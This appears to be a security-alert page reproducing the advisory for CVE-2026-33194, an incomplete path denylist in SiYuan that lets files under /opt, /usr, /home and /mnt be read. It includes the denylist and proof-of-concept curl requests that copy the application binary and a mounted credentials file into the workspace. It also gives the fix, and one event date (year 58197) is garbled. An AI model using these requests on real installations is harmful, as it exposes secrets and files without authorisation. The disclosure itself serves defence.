CVE-2026-33194: SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home

Published Mar 18, 2026
·
Updated

Summary

The IsSensitivePath() function in kernel/util/path.go uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including /opt (application data), /usr (local configs/binaries), /home (other users), /mnt and /media (mounted volumes). The globalCopyFiles and importStdMd endpoints rely on IsSensitivePath as their primary defense against reading files outside the workspace.

Details

Current denylist in kernel/util/path.go:391-405:

go prefixes := []string{ "/.", // dotfiles "/etc", // system config "/root", // root home "/var", // variable data "/proc", // process info "/sys", // sysfs "/run", // runtime data "/bin", // binaries "/boot", // boot files "/dev", // devices "/lib", // libraries "/srv", // service data "/tmp", // temp files }

NOT blocked: - /opt — commonly contains application data, databases, credentials. In SiYuan Docker, /opt/siyuan/ contains the application itself. - /usr — contains /usr/local/etc, /usr/local/share, custom configs - /home — other users' home directories (only ~/.ssh and ~/.config of the current HomeDir are blocked via separate checks, but other users' homes are accessible) - /mnt, /media — mounted volumes, network shares, often containing secrets - /snap — snap package data - /sbin, /lib64 — system binaries/libraries

The globalCopyFiles endpoint at kernel/api/file.go:82 uses IsSensitivePath as its sole path validation:

go if util.IsSensitivePath(absSrc) { // reject continue } // File is copied into workspace — then readable via /api/file/getFile

PoC

bash Read SiYuan's own application files from /opt (Docker deployment) curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \ -H 'Authorization: Token YOURAPITOKEN' \ -H 'Content-Type: application/json' \ -d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'

Then read the copied file from workspace curl -s 'http://127.0.0.1:6806/api/file/getFile' \ -H 'Authorization: Token YOURAPITOKEN' \ -H 'Content-Type: application/json' \ -d '{"path":"data/assets/SiYuan-Kernel"}'

Read files from mounted volumes curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \ -H 'Authorization: Token YOURAPITOKEN' \ -H 'Content-Type: application/json' \ -d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'

Impact

- Read arbitrary files from /opt, /usr, /home, /mnt, /media and any other non-denylisted path - In Docker deployments: read application source code, configs, mounted secrets - The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked

Recommended Fix

Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:

go func IsSensitivePath(p string) bool { absPath := filepath.Clean(p)

// Allowlist: only workspace and configured safe directories if strings.HasPrefix(absPath, WorkspaceDir) { // Block workspace-internal sensitive paths (conf/) if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) { return true } return false }

// Everything outside workspace is sensitive by default return true }

Other sources

SiYuan is a personal knowledge management system. Prior to version 3.6.2, the IsSensitivePath() function in kernel/util/path.go uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including /opt (application data), /usr (local configs/binaries), /home (other users), /mnt and /media (mounted volumes). The globalCopyFiles and importStdMd endpoints rely on IsSensitivePath as their primary defense against reading files outside the workspace. Version 3.6.2 contains an updated fix.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/siyuan-note/siyuan/kernel<=3.6.1
3.6.2
b3log SiYuan<3.6.2

Event History

Mar 18, 2026
Advisory Published
via GitHub·08:10 PM
Data Sourced
via GitHub·08:10 PM
DescriptionSeverityWeaknessAffected Software
Mar 20, 2026
CVE Published
via MITRE·10:30 PM
Data Sourced
via MITRE·10:30 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:16 PM
DescriptionSeverityWeaknessAffected Software
Mar 31, 58197
Event
via FIRST·07:42 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33194?

CVE-2026-33194 is considered a critical vulnerability due to its potential impact on file system security.

2

What does CVE-2026-33194 affect?

CVE-2026-33194 affects versions of SiYuan up to 3.6.1, allowing unauthorized file read access.

3

How do I fix CVE-2026-33194?

To fix CVE-2026-33194, upgrade SiYuan to version 3.6.2 or later.

4

What is the main issue with CVE-2026-33194?

The main issue with CVE-2026-33194 is an incomplete denylist that allows unauthorized access to sensitive file paths.

5

Can CVE-2026-33194 lead to data exposure?

Yes, CVE-2026-33194 can lead to data exposure by allowing unauthorized file reads from sensitive directories.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203